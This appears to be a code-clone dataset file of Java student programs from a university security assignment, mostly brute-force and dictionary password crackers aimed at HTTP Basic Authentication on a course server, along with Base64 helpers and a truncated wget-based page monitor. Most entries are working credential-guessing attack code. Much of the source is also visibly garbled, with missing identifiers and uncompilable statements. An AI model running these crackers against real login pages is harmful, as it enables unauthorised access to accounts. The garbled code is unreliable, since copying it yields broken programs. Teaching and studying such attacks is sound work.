static final String[] cValidChars = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""};
public BruteForce() {
super();
}
public static void main (String[] args) throws Exception {
String statusLine = "" "";
int count = 0;
int firstLetterIndex = 0;
int secondLetterIndex = 0;
int thirdLetterIndex = 0;
int divValue = 0;
String userName = """";
String password = """";
HttpClient client = new HttpClient();
if (USE_PROXY_SERVER == 1) {
client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);
client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD));
}
client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);
client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, ""http"");
GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);
count = 0;
for (int f = 0; f < 52; f++) {
firstLetterIndex = f;
password = cValidChars[firstLetterIndex];
System.out.println(""Count: ""+ count + "" First Index: ""+ firstLetterIndex+ "" password: ""+ password);
client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));
client.executeMethod(getMethod);
statusLine = getMethod.getStatusLine().toString();
if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) {
System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password);
System.exit(0);
}
}
count = 0;
for (int g = 0; g < 52; g++) {
firstLetterIndex = g;
for (int h = 0; h < 52; h++) {
secondLetterIndex = h;
password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex];
System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password);
client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));
++count;
divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;
if (divValue == 0) {
System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue + "" Releasing the connection and getting new one"");
getMethod.releaseConnection();
getMethod = null;
getMethod = new GetMethod(GET_METHOD_HACKER);
}
client.executeMethod(getMethod);
statusLine = getMethod.getStatusLine().toString();
System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password);
if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) {
System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password);
System.exit(0);
}
}
}
getMethod.releaseConnection();
getMethod = null;
getMethod = new GetMethod(GET_METHOD_HACKER);
count = 0;
for (int i = 0; i < 52; i++) {
firstLetterIndex = i;
for (int j = 0; j < 52; j++) {
secondLetterIndex = j;
for (int k = 0; k < 52; k++) {
thirdLetterIndex = k;
password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex];
System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ "" Third Index: ""+ thirdLetterIndex+ "" ""+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password);
client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));
++count;
divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;
if (divValue == 0) {
System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue+ "" Releasing the connection and getting new one"");
getMethod.releaseConnection();
getMethod = null;
getMethod = new GetMethod(GET_METHOD_HACKER);
}
client.executeMethod(getMethod);
statusLine = getMethod.getStatusLine().toString();
if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) {
System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password);
System.exit(0);
}
}
}
}
}
}
" 111.java
216.java "
import java.io.*;
import java.net.*;
import java.util.*;
import java.*;
public class Dictionary
{
public static void main(String args[])
{
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter();
int flag=1;
String filename = ""words"";
try
{
String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/"");
String thePassword= new String();
BufferedReader inputStream= new BufferedReader(new FileReader(filename));
String line=inputStream.readLine();
stime = System.currentTimeMillis();
while (line!= null && flag==1)
{
try {
URL url = new URL (urlString);
String userPassword = """" + "":"" + line;
String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
URLConnection uc = url.openConnection();
uc.setRequestProperty(""Authorization"", "" "" + encoding);
InputStream content = (InputStream)uc.getContent();
endtime = System.currentTimeMillis();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line2;
while ((line2 = in.readLine()) != null) {
pw.println (line2);
}
flag=0;
System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds."");
}catch (MalformedURLException e) {
flag=1;
}catch (IOException e) {
flag=1;
}
line=inputStream.readLine();
}
inputStream.close();
}
catch(FileNotFoundException e)
{
System.err.println(""File ""+filename+"" was not found"");
}
catch(IOException e)
{
System.err.println(""Error "");
}
System.out.println(""content is ""+ sw.toString());
}
}" "211.java 061.java"
024.java "
import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;
public class PasswordCombination
{
private int pwdCounter = 0;
private int startTime;
private String str1,str2,str3;
private String url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
private String loginPwd;
private String[] password;
private HoldSharedData data;
private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m',
'n','o','p','q','r','s','t','u','v','w','x','y','z'};
public PasswordCombination()
{
System.out.println(""Programmed by for INTE1070 Assignment 2"");
String input = JOptionPane.showInputDialog( ""Enter number of threads"" );
if( input == null )
System.exit(0);
int numOfConnections = Integer.parseInt( input );
startTime = System.currentTimeMillis();
int pwdCounter = 52*52*52 + 52*52 + 52;
password = new String[pwdCounter];
doPwdCombination();
System.out.println(""Total Number of Passwords Generated: "" + pwdCounter);
createConnectionThread( numOfConnections );
}
private void doPwdCombination()
{
for( int i = 0; i < 52; i ++ )
{
str1 = """" + chars[i];
password[pwdCounter++] = """" + chars[i];
System.err.print( str1 + "" | "" );
for( int j = 0; j < 52; j ++ )
{
str2 = str1 + chars[j];
password[pwdCounter++] = str1 + chars[j];
for( int k = 0; k < 52; k ++ )
{
str3 = str2 + chars[k];
password[pwdCounter++] = str2 + chars[k];
}
}
}
System.err.println( ""\n"" );
}
private void loadPasswords( )
{
FileReader fRead;
BufferedReader buf;
String line = null;
String fileName = ""words"";
try
{
fRead = new FileReader( fileName );
buf = new BufferedReader(fRead);
while((line = buf.readLine( )) != null)
{
password[pwdCounter++] = line;
}
}
catch(FileNotFoundException e)
{
System.err.println(""File not found: "" + fileName);
}
catch(IOException ioe)
{
System.err.println(""IO Error "" + ioe);
}
}
private void createConnectionThread( int input )
{
data = new HoldSharedData( startTime, password, pwdCounter );
int numOfThreads = input;
int batch = pwdCounter/numOfThreads + 1;
numOfThreads = pwdCounter/batch + 1;
System.out.println(""Number of Connection Threads Used:"" + numOfThreads);
ConnectionThread[] connThread = new ConnectionThread[numOfThreads];
for( int index = 0; index < numOfThreads; index ++ )
{
connThread[index] = new ConnectionThread( url, index, batch, data );
connThread[index].conn();
}
}
} " 016.java
182.java "import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
""usage: Dictionary <url> <username> <dictionary-file>"");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println(""password="" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
" 181.java
243.java "import java.net.*;
import java.io.*;
public class Dictionary {
int attempts = 0;
URLConnection conn = null;
public static void main (String args[]){
Dictionary a = new Dictionary();
a.attack(args);
}
public void attack(String args[]) {
try {
String login = new String("""");
String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
String passwd = new String();
passwd = getPasswd();
BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
System.out.println(""Password Cracked Successfully!!!"");
System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries"");
}
catch (IOException e) {
String r = new String(e.getMessage());
if ( r != null)
{
System.out.println(""Message :"" +r);
Dictionary a = new Dictionary();
a.attack(args);
}
else
{
System.out.println(""Trying again"");
Dictionary a = new Dictionary();
a.attack(args);
}
}
}
public String getPasswd()
{
int i=0;int j=0;
attempts++;
int count =0;
System.out.println(""Passing dictionary word and waiting for URL reply....... "");
String currentword = """";
String se = """";
try{
FileInputStream reader = new FileInputStream (""words"");
DataInputStream in = new DataInputStream(reader);
while (in.available() !=0)
{
currentword = in.readLine();
count++;
}
}
catch( IOException e){}
return currentword;
}
public InputStream openURLForInput (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setDoInput (true);
conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return "" "" + base64Encode (username + "":"" + password);
}
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = """";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += ""="";
break;
case 2:
encodedString += ""=="";
break;
}
}
return encodedString;
}
}
" "087.java 155.java 242.java"
059.java "
public class Base64Converter
{
public static final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public static String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public static String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length )
{
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
" "159.java 250.java 258.java"
250.java "
class C {
private static byte[] cvtTable = {
(byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
(byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
(byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
(byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
(byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
(byte)'Z',
(byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
(byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
(byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
(byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
(byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
(byte)'z',
(byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
(byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
(byte)'+', (byte)'/'
};
static String encode(String name,
String passwd) {
byte input[] = (name + "":"" + passwd).getBytes();
byte[] output = new byte[((input.length / 3) + 1) * 4];
int ridx = 0;
int chunk = 0;
for (int i = 0; i < input.length; i += 3) {
int left = input.length - i;
if (left > 2) {
chunk = (input[i] << 16)|
(input[i + 1] << 8) |
input[i + 2];
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = cvtTable[(chunk&0x3F)];
} else if (left == 2) {
chunk = (input[i] << 16) |
(input[i + 1] << 8);
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = '=';
} else {
chunk = input[i] << 16;
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = '=';
output[ridx++] = '=';
}
}
return new String(output);
}
}" "159.java 059.java"
153.java "import java.io.*;
import java.net.*;
public class BruteForce {
public static void main(String[] args) {
BruteForce brute=new BruteForce();
brute.start();
}
public void start() {
char passwd[]= new char[3];
String password;
String username="""";
String auth_data;
String server_res_code;
String required_server_res_code=""200"";
int cntr=0;
try {
URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
URLConnection conn=null;
for (int i=65;i<=122;i++) {
if(i==91) { i=i+6; }
passwd[0]= (char) i;
for (int j=65;j<=122;j++) {
if(j==91) { j=j+6; }
passwd[1]=(char) j;
for (int k=65;k<=122;k++) {
if(k==91) { k=k+6; }
passwd[2]=(char) k;
password=new String(passwd);
password=password.trim();
auth_data=null;
auth_data=username + "":"" + password;
auth_data=auth_data.trim();
auth_data=getBasicAuthData(auth_data);
auth_data=auth_data.trim();
conn=url.openConnection();
conn.setDoInput (true);
conn.setDoOutput(true);
conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1"");
conn.setRequestProperty (""Authorization"", auth_data);
server_res_code=conn.getHeaderField(0);
server_res_code=server_res_code.substring(9,12);
server_res_code.trim();
cntr++;
System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code);
if( server_res_code.compareTo(required_server_res_code)==0 )
{System.out.println(""PASSWORD IS : "" + password + "" SERVER RESPONSE : "" + server_res_code );
i=j=k=123;}
}
}
}
}
catch (Exception e) {
System.err.print(e);
}
}
public String getBasicAuthData (String getauthdata) {
char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' } ;
String encodedString = """";
byte bytes [] = getauthdata.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += ""="";
break;
case 2:
encodedString += ""=="";
break;
}
}
return "" "" + encodedString;
}
}" 155.java
033.java "
class WebPage
{
private boolean success = false;
private String pageContents= """";
public WebPage()
{
}
public void setSuccess (boolean inSuccess)
{
success = inSuccess;
}
public boolean getSuccess()
{
return success;
}
public void setPageContents (String inPage)
{
pageContents = inPage;
}
public String getPageContents()
{
return pageContents;
}
}
" 034.java
051.java "import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class Dictionary
{
String uname = """";
String pword = ""null"";
Vector v = new Vector();
int runTime;
public void doConnect(String connect, int num)
{
String = connect;
try
{
URL secureSite = new URL();
URLConnection connection = secureSite.openConnection();
if (uname != null || pword != null)
{
for(int i=num; i<v.size(); i++)
{
pword = (String)v.elementAt(i);
String up = uname + "":"" + pword;
String encoding;
try
{
connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName("".misc.BASE64Encoder"").newInstance();
encoding = encoder.encode (up.getBytes());
}
catch (Exception ex)
{
Base64Converter encoder = new Base64Converter();
System.out.println(""in catch"");
encoding = encoder.encode(up.getBytes());
}
connection.setRequestProperty (""Authorization"", "" "" + encoding);
connection.connect();
if(connection instanceof HttpURLConnection)
{
HttpURLConnection httpCon=(HttpURLConnection)connection;
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
{
System.out.println(""Not authorized - check for details"" + "" -Incorrect Password : "" + pword);
doConnect(i, i+1);
}
else
{
System.out.println(""\n\n\nPassword for HTTP Secure Site by Dictionary Attack:"");
System.out.println( +""\tPassword : ""+ pword);
runTime = System.currentTimeMillis() - runTime;
System.out.println(""Time taken crack password (in seconds)""+"" : ""+ runTime/1000+""\n""+ ""Tries taken crack password : ""+ i);
System.exit(0);
}
}
}
}
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public Vector getPassword()
{
try
{
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(Exception ex)
{
ex.printStackTrace();
}
return v;
}
public void setTimeTaken( int timetaken)
{
runTime = timetaken;
}
public static void main ( String args[] ) throws IOException
{
runTime1 = System.currentTimeMillis();
Dictionary newDo = new Dictionary();
newDo.setTimeTaken(runTime1);
newDo. getPassword();
String site = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
newDo.doConnect(site, 0);
}
}
class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length ) {
bits24=( octetString [ i++ ] & 0xFF ) << 16;
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
" "183.java 048.java"
258.java "
import java.awt.*;
import java.util.*;
import java.net.*;
import java.io.*;
import java.*;
public class Dictionary
{
public static void main(String args[]) throws Exception
{
String urlPath = null;
if(args.length > 0)
{
urlPath = args[0];
System.out.println(""URL "" + urlPath);
Dictionary dict = new Dictionary(urlPath);
}
else{
System.out.println(""Please enter URL at command prompt"");
System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/"");
}
System.exit(0);
}
public Dictionary(String urlPath) throws Exception
{
linkToWeb(urlPath);
}
public boolean linkToWeb(String urlPath) throws Exception
{
HttpURLConnection connection;
String word = null;
String usrName = """";
String usrNamePwd = null;
String encoding = null;
URL = new URL(urlPath);
BufferedReader inputStream = new BufferedReader(new FileReader(""words""));
word = inputStream.readLine();
while(word != null)
{
if(word.length() <= 3){
usrNamePwd = usrName +"":""+ word;
encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
connection = (HttpURLConnection).openConnection();
connection.setRequestProperty(""Authorization"", "" "" + encoding);
System.out.println(word);
if(connection.getResponseCode() == 200){
System.out.println(""Password Found "" +word);
return true;
}
connection.disconnect();
}
word = inputStream.readLine();
}
System.out.println(""Password not found"" );
return false;
}
public class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length )
{
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
}
" "257.java 048.java 185.java 059.java 183.java"
233.java "import java.util.*;
import java.io.*;
import java.*;
public class Dogs5
{
public static void main(String [] args) throws Exception
{
executes(""rm index.*"");
executes(""wget http://www.cs.rmit.edu./students"");
while (true)
{
String addr= ""wget http://www.cs.rmit.edu./students"";
executes(addr);
String hash1 = md5sum(""index.html"");
String hash2 = md5sum(""index.html.1"");
System.out.println(hash1 +""|""+ hash2);
BufferedReader buf = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt""));
String line="" "" ;
String line1="" "" ;
String line2="" "";
String line3="" "";
String[] cad = new String[10];
executes(""./.sh"");
int i=0;
while ((line = buf.readLine()) != null)
{
line1=""http://www.cs.rmit.edu./students/images""+line;
if (i==1)
line2=""http://www.cs.rmit.edu./students/images""+line;
if (i==2)
line3=""http://www.cs.rmit.edu./students/images""+line;
i++;
}
System.out.println(line1+"" ""+line2+"" ""+line3);
executes(""wget ""+line1);
executes(""wget ""+line2);
executes(""wget ""+line3);
String hash3 = md5sum(""index.html.2"");
String hash4 = md5sum(""index.html.3"");
String hash5 = md5sum(""index.html.4"");
BufferedReader buf2 = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt""));
String linee="" "" ;
String linee1="" "" ;
String linee2="" "";
String linee3="" "";
executes(""./ip1.sh"");
int j=0;
while ((linee = buf2.readLine()) != null)
{
linee1=""http://www.cs.rmit.edu./students/images""+linee;
if (j==1)
linee2=""http://www.cs.rmit.edu./students/images""+linee;
if (j==2)
linee3=""http://www.cs.rmit.edu./students/images""+linee;
j++;
}
System.out.println(line1+"" ""+line2+"" ""+line3);
executes(""wget ""+linee1);
executes(""wget ""+linee2);
executes(""wget ""+linee3);
String hash6 = md5sum(""index.html.5"");
String hash7 = md5sum(""index.html.6"");
String hash8 = md5sum(""index.html.7"");
boolean pict=false;
if (hash3.equals(hash6))
pict=true;
boolean pict2=false;
if (hash3.equals(hash6))
pict2=true;
boolean pict3=false;
if (hash3.equals(hash6))
pict3=true;
if (hash1.equals(hash2))
{
executes(""./difference.sh"");
executes(""./mail.sh"");
}
else
{
